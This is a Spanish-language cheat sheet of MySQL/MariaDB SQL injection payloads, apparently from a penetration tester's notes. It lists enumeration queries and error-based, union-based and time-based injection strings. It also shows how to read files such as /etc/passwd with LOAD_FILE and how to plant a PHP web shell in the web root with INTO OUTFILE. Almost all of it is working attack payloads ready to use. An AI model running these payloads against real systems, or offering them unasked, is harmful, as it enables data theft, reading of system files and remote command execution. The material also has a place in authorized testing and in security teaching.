# MySQL / MariaDB

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Versión <a href="#enumeracion-version" id="enumeracion-version"></a>

```sql
# Versión
SELECT version()
SELECT @@version
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

```sql
# Usuario actual
SELECT current_user()
SELECT system_user()
SELECT user()

# Listado de usuarios
SELECT user FROM mysql.user
```

### Privilegios <a href="#enumeracion-privilegios" id="enumeracion-privilegios"></a>

```sql
# Privilegios 
SELECT grantee,privilege_type FROM information_schema.user_privileges

# Privilegio de superusuario (Y = Yes)
SELECT super_priv FROM mysql.user WHERE user="<user>"
```

### Bases de datos <a href="#enumeracion-bases-de-datos" id="enumeracion-bases-de-datos"></a>

```sql
# Nombre de base de datos actual
SELECT database()

# Listado de base de datos
SHOW databases
SELECT table_schema FROM information_schema.tables GROUP BY table_schema
```

### Tablas <a href="#enumeracion-tablas" id="enumeracion-tablas"></a>

```sql
# Tablas de base de datos actual
SHOW tables

# Tablas de una base de datos
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema='<database>'
```

### Columnas <a href="#enumeracion-columnas" id="enumeracion-columnas"></a>

```sql
# Columnas de una tabla
SELECT column_name, data_type from information_schema.columns WHERE table_schema='<database>' AND table_name='<table>'
```

### Datos <a href="#enumeracion-datos" id="enumeracion-datos"></a>

```sql
# Datos de una tabla
SELECT * FROM <database>.<table>
```

## Error-based SQLi <a href="#error-based-sqli" id="error-based-sqli"></a>

```sql
extractvalue('',concat('>',version()))
,+extractvalue('',concat('>',version()))
```

### Bases de datos <a href="#error-based-sqli-bases-de-datos" id="error-based-sqli-bases-de-datos"></a>

```sql
# Nombre de base de datos actual
extractvalue('',concat('>',database()))

# Listado de base de datos
extractvalue('',concat('>',(
	SELECT group_concat(table_schema) 
	FROM (
		SELECT table_schema 
		FROM information_schema.tables 
		GROUP BY table_schema) 
	AS foo)
	)
)
```

### Tablas <a href="#error-based-sqli-tablas" id="error-based-sqli-tablas"></a>

```sql
extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>') 
	AS foo)
	)
)

extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>'
		AND table_name NOT IN ('<table>')) 
	AS foo)
	)
)

# Ir incrementando el valor de offset
extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>'
		limit 1 offset 1)
	AS foo)
	)
)
```

### Columnas <a href="#error-based-sqli-columnas" id="error-based-sqli-columnas"></a>

```sql
extractvalue('',concat('>',(
	SELECT group_concat(column_name) 
	FROM (
		SELECT column_name 
		FROM information_schema.columns 
		WHERE table_schema='<database>' 
		AND table_name='<table>') 
	AS foo)
	)
)

extractvalue('',concat('>',(
	SELECT group_concat(column_name) 
	FROM (
		SELECT column_name 
		FROM information_schema.columns 
		WHERE table_schema='<database>' 
		AND table_name='<table>'
		AND column_name NOT IN ('<column>')) 
	AS foo)
	)
)
```

### Datos <a href="#error-based-sqli-datos" id="error-based-sqli-datos"></a>

```sql
extractvalue('',concat('>',(SELECT substring(<column>,1,32) FROM <table> limit 1 offset 0)))
```

## Union-based SQLi <a href="#union-based-sqli" id="union-based-sqli"></a>

### Bases de datos <a href="#union-based-sqli-bases-de-datos" id="union-based-sqli-bases-de-datos"></a>

```sql
# Nombre de base de datos actual
UNION SELECT 1,database(),3,4-- -
# Listado de base de datos
UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata-- -
```

### Tablas <a href="#union-based-sqli-tablas" id="union-based-sqli-tablas"></a>

```sql
UNION SELECT 1,table_schema,table_name,4 FROM information_schema.tables WHERE table_schema='<database>'-- -
```

### Columnas <a href="#union-based-sqli-columnas" id="union-based-sqli-columnas"></a>

```sql
UNION SELECT 1,column_name,data_type,2 FROM information_schema.columns WHERE table_schema='<database>' AND table_name='<table>'-- -
```

### Datos <a href="#union-based-sqli-datos" id="union-based-sqli-datos"></a>

```sql
UNION SELECT 1,columna1,columna2,4 FROM <database>.<table>-- -
```

### Obtener información dentro de una sola columna <a href="#union-based-sqli-obtener-informacion-dentro-de-una-sola-columna" id="union-based-sqli-obtener-informacion-dentro-de-una-sola-columna"></a>

```sql
UNION SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM tabla1-- -
UNION SELECT CONCAT_WS(' - ', columna1, columna2, columna3) FROM tabla1-- -
```

## Time-based SQLi

```sql
AND (SELECT SLEEP(10) FROM dual WHERE database() LIKE '%')
'; SELECT CASE WHEN (1=1) THEN SLEEP(10) ELSE SLEEP(0) END
```

## Lectura y escritura de archivos <a href="#lectura-y-escritura-de-archivos" id="lectura-y-escritura-de-archivos"></a>

Para poder leer y escribir archivos se deben cumplir las siguientes condiciones:

* El usuario debe tener habilitado el privilegio "FILE".
* Valor de la variable global `secure_file_priv`:
  * Un valor vacío nos permite leer y escribir en cualquier directorio.
  * Si se establece un determinado directorio, solo podemos leer y escribir desde la carpeta especificada por la variable.
  * `NULL` significa que no podemos leer y escribir en ningún directorio.
* Acceso de lectura y escritura a la ubicación en la que queremos leer o escribir el archivo.

Obtener valor de la variable global `secure_file_priv`.

```sql
SELECT @@GLOBAL.secure_file_priv
SELECT variable_name, variable_value FROM information_schema.global_variables WHERE variable_name="secure_file_priv"
UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- -
```

### Lectura <a href="#lectura-de-archivos" id="lectura-de-archivos"></a>

```sql
SELECT LOAD_FILE('/etc/passwd')
UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4-- -
UNION SELECT 1, LOAD_FILE('/var/www/html/index.php'), 3, 4-- -
```

### Escritura <a href="#escritura-de-archivos" id="escritura-de-archivos"></a>

Escritura de archivos.

```sql
SELECT * FROM <table> INTO OUTFILE '/tmp/file'
SELECT 'test' INTO OUTFILE '/tmp/test.txt'
UNION SELECT 1,'test',3,4 INTO OUTFILE '/var/www/html/test.txt'-- -
```

Escritura de web shell.

{% code title="webshell.php" %}

```php
<?php echo system($_GET['cmd']); ?>
```

{% endcode %}

```sql
UNION SELECT "","<?php echo system($_GET['cmd']); ?>","","" INTO OUTFILE '/var/www/html/webshell.php'-- -
```
